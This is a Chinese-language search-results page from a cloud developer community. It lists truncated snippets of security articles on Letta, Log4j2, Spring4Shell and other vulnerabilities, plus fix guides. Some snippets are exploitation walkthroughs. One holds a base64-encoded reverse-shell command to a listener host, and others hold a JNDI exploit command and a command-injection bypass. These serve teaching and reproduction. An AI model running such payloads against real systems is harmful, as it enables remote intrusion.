- 综合排序
- 最热优先
- 最新优先
Letta 代码执行漏洞 (CVE-2025-51482)
漏洞介绍：Letta（原名 MemGPT）是一个开源框架，旨在构建具备长期记忆、上下文管理和高级推理能力的 AI Agent，也支持将这些 Agent 以微服务形式部署为 REST API 服务，可被集成到应用中使用 漏洞影响：该接口是 Letta 中提供“工具执行”能力的开放端点，设计用于在 AI Agent 中运行自定义脚本工具。 全球分布图：漏洞编号：CVE-2025-51482漏洞等级：高危受影响版本：已知影响 Letta 0.7.12 版本漏洞类型：远程代码执行利用流程：漏洞复现：在本地或测试服务器部署 Letta 后，攻击者可直接向 2、尽快升级 Letta 到官方包含漏洞修复的版本，或合并官方补丁自行构建。 4、降低 Letta 服务运行权限，避免 root 用户运行，并结合容器限制资源和网络权限。
26110编辑于 2025-12-10- 来自专栏深度学习与python
4 万星开源项目被指造假！MemGPT 作者开撕 Mem0：为营销随便造数据，净搞没有意义的测试！
事情源于高人气开源智能体记忆项目 Mem0 在今年 4 月底发布的一篇论文。 两个“顶流”崛起 Mem0 和 Letta 的诞生都是为了解决大模型的长期记忆问题。 自 GPT-4 问世以来，大模型一直受限于固定的上下文长度。 在实际实现中，Mem0g 使用 Neo4j 作为底层图数据库 ，基于大模型的提取器和更新模块并借助具有函数调用能力的 GPT-4o-mini，从非结构化文本中进行结构化信息提取。 为了与 MemGPT 的原实验保持一致，Letta 用 GPT-4o mini 作为模型。 由于 GPT-4o mini 能力较弱，Letta 让智能体部分自治，通过规则限制其调用工具的模式：必须先调用 search_files 搜索文件，再不断搜索直到决定调用 answer_question
76510编辑于 2025-08-24 - 来自专栏世荣的博客
搭建漏洞环境-实战-4
2.3 搭建DVWA漏洞环境 DVWA是一款开源的渗透测试漏洞练习平台，其中包含XSS,SQL注入,文件上传，文件包含,CSRF和暴力破解等各个难度的测试环境。 2.将DVWA重命名为dvwa并移动到htdocs Windows用户直接将文件拖到www即可(系统状态栏左下角) image.png 3.配置如上 注意:打开全局权限和用户账户数据库中的两个服务 4.
64020编辑于 2022-03-18 - 来自专栏网络信息安全
【漏洞复现】Apache Log4j 漏洞利用分析
Apache Log4j 漏洞利用分析 Apache Log4j 项目被爆存在远程代码执行漏洞，且利用简单，影响危害巨大，光是引入了 log4j2 依赖的组件都是数不清，更别提项目本身可能存在的风险了 ，复现漏洞来学习一下，希望可以帮助到大家。 _221 三、 漏洞分析 测试代码如下： #log4j,java import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger log4j 中 jdni 的用法格式如下： ${jndi:JNDIContent} 既然明确了lookup是触发漏洞的点，并且找到了可以触发 lookup的方法 ，那么就可以找入口点，只要找到入口点，然后传入 ，其余的方法需要配置日志级别才可以触发漏洞。
1.1K10编辑于 2024-03-12 走进“乌云”教科书书里的漏洞（4）【充值舍入漏洞】
0x01 漏洞解析舍入漏洞是财务、支付、电商等涉及金额计算的系统中，因对小数金额的舍入规则设计不当或计算逻辑不统一，导致实际金额与预期金额产生偏差，进而被攻击者利用获取非法利益的业务逻辑漏洞。 其核心成因是不同系统模块（如订单计算、支付对账、退款结算）采用不一致的舍入方式，或未对舍入后的金额进行二次校验，形成金额差漏洞。 100 元订单拆分为 100 笔 1 元订单），利用每笔订单舍入产生的 0.01 元差额，通过批量操作获取非法收益；或在退款场景中，利用舍入差异使实际退款金额高于原支付金额，实现 “薅羊毛”0x02 漏洞复现本次使用靶场连接 在数据包里有提示：输入0.018，成功获取flag0x03 漏洞修复方法修复需围绕 “后端主导校验、拒绝信任前端数据” 核心原则，从数据校验、逻辑设计、监控审计三方面入手：后端强制重算金额：后端接收订单请求后
43710编辑于 2025-08-25- 来自专栏FreeBuf
企业漏洞管理的4大误区
但是，企业可以采取很多措施来降低风险，特别是在漏洞管理方面。 漏洞管理的重要性通常被低估或忽视。我们来看看有哪些常见的漏洞管理认知误区并且来揭穿它们。 幸运的是，新的漏洞管理解决方案可以在不影响网络性能的情况下更快，使大规模扫描变得更快、更容易，因此，企业没有充分的理由偷懒。 误区2：漏洞=修补 许多人将漏洞等同于修补。 仅仅思考补丁是短视的，全面了解漏洞管理才能为组织提供更好的安全服务。 误区三：修复严重漏洞就能确保安全 组织必须首先解决5级严重漏洞的这一观点已经过时。 要么需要采用新的考虑因素和排名系统来解决漏洞，要么应该选择双管齐下的策略，利用自动化的漏洞管理解决方案立即修复较低级别的漏洞，同时释放团队成员来同时修复较高级别的漏洞。 误解四：漏洞管理没什么大不了的 这一观点显然缺乏对漏洞管理的重视。
1.2K20发布于 2020-04-14 - 来自专栏程序员升级之路
Apache Log4j漏洞修复
一、如何确定是否中招或已经修复 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; "+cmdMessage ); logger.error("log4j2testerror"+cmdMessage ); logger.warn("log4j2testwarn <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl</artifactId> </exclusion> </exclusions> </dependency> 项目中用的比较多的是下面几个包： log4j-api log4j-core log4j-jul log4j-slf4j-impl > <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl<
1.6K20编辑于 2021-12-13 - 来自专栏R0A1NG 技术分享
Log4j2漏洞复现
原理 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限 靶机：http://192.168.223.129:8080/ 靶机搭建： 1.平台环境 http://vulfocus.fofa.so/ 2.本地搭建 docker pull vulfocus/log4j2 -rce-2021-12-09:latest docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest 复现过程 先用dnslog 设置jvm参数"-Dlog4j2.formatMsgNoLookups=true"； 3. 设置系统环境变量"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS"为"true" 4. 关闭应用的网络外连。
2.2K30编辑于 2022-02-19 - 来自专栏Khan安全团队
Unifi Log4jshell漏洞利用
介绍 到现在为止，您可能已经很清楚最近披露的 Java 日志库 Log4j 的一个漏洞。该漏洞影响广泛，影响开源项目和企业软件。 Ubiquiti 在漏洞发布后不久宣布，他们的一些产品受到影响。 Sprocket 使用 Twitter 发布了使用 Log4j 在易受攻击的 Unifi 网络应用程序安装上实现远程代码执行的概念证明。 一旦您确定了一个易受攻击的实例，就可以轻松地进行漏洞利用。 中构建您的命令： java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC4xMS41MC80NDQ0IDA 据我所知，这个 Log4j 漏洞有可能产生重大影响。为什么？
3.3K10编辑于 2022-01-05 - 来自专栏FreeBuf
如何使用Spring4Shell-Scan扫描Spring4Shell漏洞和Spring Cloud RCE漏洞
关于Spring4Shell-Scan Spring4Shell-Scan是一款功能强大的Spring4Shell漏洞扫描工具，该工具能够熟悉漏洞的自动化扫描，并且稳定性强，准确率高。 在该工具的帮助下，广大研究人员可以轻松扫描和识别出Spring4Shell漏洞（CVE-2022-22965）和Spring Cloud远程代码执行漏洞（CVE-2022-22963）。 功能介绍 1、支持URL列表作为扫描输入； 2、支持使用超过十种全新的Spring4Shell Payload作为模糊测试用例； 3、支持对HTTP GET和POST方法执行模糊测试； 4、自动验证已发现漏洞的有效性 或全部，默认为全部 --test-CVE-2022-22963 测试CVE-2022-22963（Spring Cloud 远程代码执行漏洞 spring4shell-scan.py -l urls.txt 扫描Spring Cloud远程代码执行漏洞（CVE-2022-22963） $ python3 spring4shell-scan.py
1.5K20编辑于 2022-06-08 腾讯安全态势研究：2025年度云上网络攻击态势报告
AI应用的架构特性导致SSRF风险高AIAgent进入攻击视野Letta、AgentScope下半年出现攻击2026年可能成为新热点AI算力成为挖矿目标Ray被入侵后89%用于挖矿攻击者看中AI基础设施的 CVE披露年份被利用次数解读2018322古董级漏洞，仍有人中招201931,183老漏洞的"长尾效应"20201,257相对平静的一年20218,822Log4j元年的遗产20223,906Confluence 随着企业大规模部署AI应用，这类漏洞的影响只会越来越大。4、攻击工具分析：攻击者的“武器库”4.1挖矿工具生态深度洞察：挖矿攻击的“平民化”趋势。 该漏洞4月披露后经历数月小规模利用，10月完成武器化后迅速爆发——50个攻击源IP在当月发起超过9,000次自动化扫描，平均每个IP发起185次攻击。 、AgentScopeAI模型演示GradioAI图像生成StableDiffusion其中AIAgent框架（Letta、AgentScope）在2025年下半年才进入攻击视野，预计2026年将成为重点目标
84010编辑于 2026-02-26- 来自专栏渗透测试专栏
渗透测试文件上传漏洞原理与验证(4)——Apache文件解析漏洞
Apache 文件解析介绍Apache文件解析漏洞与用户的配置有密切关系。严格来说，属于用户配置问题，这里要讲解配置出错的原因以及修复方法，所以需要准备漏洞复现环境。使用ubuntu的docker。 |t|tml)$也就是说(php|php3|php4|php5|php7|pht|phtml)是文件的最后一个后缀,则把文件交给php处理器(php_module)来处理,处理完之后结果返回给apache Apache 文件解析漏洞Apache文件解析漏洞涉及到一个解析文件的特性:Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.types内),则继续向左识别。 其实,apache本身根本不存在所谓的解析漏洞我们回顾一下请求的过程:当我们请求这样一个文件:shel.php.xxx.yyyyyy->无法识别,向左xxx->无法识别,向左php->发现后缀是php， 交给php处理这个文件最后一步虽然交给了php来处理这个文件，但是php也不认识.aaa的后缀啊，所以就直接输出了其实，解析漏洞的产生,是由于运维人员在配置服务器时，为了使apache服务器能解析php
1K20编辑于 2024-11-26 - 来自专栏tongyao
log4j2的漏洞修复
log4j2的漏洞修复 简介 Log4j是Apache的一个开源项目，通过使用Log4j，可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog Apache Log4j2是Log4j的升级版本，该版本与之前的log4j1.x相比带来了显著的性能提升，并且修复一些存在于Logback中固有的问题的同时提供了很多在Logback中可用的性能提升，Apache 漏洞评级和影响版本 Apache Log4j 远程代码执行漏洞 严重 影响的版本范围：Apache Log4j 2.x <= 2.14.1 jdk与log4j2的版本对应关系 Log4j2.12.1是支持 Java 7的最后2.x版本，Log4j2.3是支持Java 6的最后2.x版本，Log4j团队不再提供对Java 6或7的支持。 解决 升级Log4j版本为2.15.0以上即可解决。
58020编辑于 2022-06-09 - 来自专栏安全漏洞环境学习
Android4 漏洞环境简单挑战
ef:6b (DSA) MAC Address: 00:0C:29:6F:D3:B3 (VMware) Device type: general purpose Running: Linux 3.X|4. X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network
1.8K10发布于 2019-09-24 - 来自专栏zaking's
黑客玩具入门——4、漏洞扫描与Metasploit
searchsploit -p 3389：搜索漏洞号为3389的漏洞。 searchsploit mysql：查找mysql的漏洞。 searchsploit apple：查找apple的漏洞。 我们可以在Kali系统中找到该软件： 点击之后输入系统root密码，等待一会后，就变成这样了： 4、Metasploit：端口扫描 实验靶机：metasploitable2。 11、Wmap网站漏洞扫描 Wmap本身不是一个独立的漏洞扫描器，而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作，完成目标服务器的扫描任务。 4、远程控制安卓手机，上传下载文件 我们先来学下文件系统命令： cat，读取并输出到标准输出。 cd，更改目录。 checksum，检索文件的校验和。 cp，将源文件复制到目标文件夹。 4.打开Metasploit。输入这样的命令：resource /home/（你的用户名）/windows_control。 5.脚本就运行了。 6.然后直接run。
4.6K11编辑于 2023-12-01 - 来自专栏Bypass
Log4j2 漏洞实战案例
在现在以及未来的一段时间里，Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次，在实战中遇到还是十分兴奋，So，总得记录点什么吧。 ---- 01、漏洞发现 通过burp插件的方式，将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中，检测到目标站点存在Log4j2 RCE漏洞。 02、确认漏洞参数 由于使用参数Fuzz，每个数据包里都夹带多个参数注入Payload，我们需要进一步定位到具体的漏洞参数位置。 （1）登录ceye.io，可以查看当前的dnslog。 （2）对比burp参数注入的payload和dnslog请求，可初步确认参数username存在Log4j2 RCE漏洞。 jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址” 04、获取目标权限 利用Log4j2
1.3K30编辑于 2022-04-19 - 来自专栏余生大大
log4j代码注入漏洞复现
1.简介 前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬，各个公司加班升级修复，我们也在周末要求验证版本保证不受影响，既然知道了漏洞，我们就复现一下，比如让被注入文件的电脑关个机 2.工具准备 https://download.csdn.net/download/AnNanDu/64752930 里面包含2份源代码，两个工具类 log4j-exp：执行被注入代码的客户端服务 web-goodskill java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jTest 1389 启动完成后第二步就完成了 3. log4j2执行注入 IDEA打开log4j-exp找到 log4jRCE 类，执行main方法 执行结果： 上面那行输出文字是我们的注入代码里写的输出
72880编辑于 2022-11-02 - 来自专栏渗透测试专栏
渗透测试命令执行漏洞原理与验证(4)——命令执行漏洞及防御
Command Injection-High黑名单看似过滤了所有的非法字符，但是把" | "（空格在后）替换为空字符，于是 可以用" | "（空格在前）绕过127.0.0.1 |net user命令执行漏洞防御尽量不要执行外部命令使用自定义函数或函数库来替代外部命令的功能使用
47810编辑于 2024-11-17 - 来自专栏FreeBuf
如何使用Spring4Shell-POC测试Spring4Shell漏洞
关于Spring4Shell-POC Spring4Shell-POC是一个Docker容器化的应用程序，这个应用程序中故意设计为包含了Spring4Shell漏洞（CVE-2022-22965） 生成的WAR文件需要在Tomcat中加载，加载完成后即可进行Spring4Shell漏洞的研究、分析和测试了。 漏洞原理 1、利用Spring的对象绑定功能将HTTP请求中的参数绑定到应用程序正在使用的某个对象中。 4、利用此漏洞，攻击者可以覆写Tomcat日志配置进而上传JSP web shell。 ://localhost:8080/helloworld/greeting 工具使用 下列命令将运行项目的exploit.py脚本来测试目标站点的Spring4Shell漏洞： python exploit.py
98810编辑于 2022-06-08 - 来自专栏WalkingCloud
Elasticsearch Log4j漏洞快速修复步骤
一、Elasticsearch关于Log4j2漏洞的官方说明 可以参考如下链接 https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve -2021-44228-esa-2021-31/291476 (图片可点击放大查看) 摘要：2021年12月9日，Log4j的GitHub公开披露了一个影响Apache Log4j2多个版本的高严重性漏洞 (CVE-2021-44228) 该漏洞影响了Apache Log4j2的2.0到2.14.1版本。 由于我们使用了Java安全管理器，Elasticsearch不易受此漏洞的远程代码执行影响，但是很快我们将提供Elasticsearch 6.8.21和7.16.1，这将删除易受攻击的Log4j组件并设置下面标识的 这些版本没有升级 Log4j 包，而是通过设置JVM 选项来缓解漏洞 -Dlog4j2.formatMsgNoLookups=true 并从 Log4j 包中删除易受攻击的 JndiLookup 类。
11.7K30编辑于 2021-12-15
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号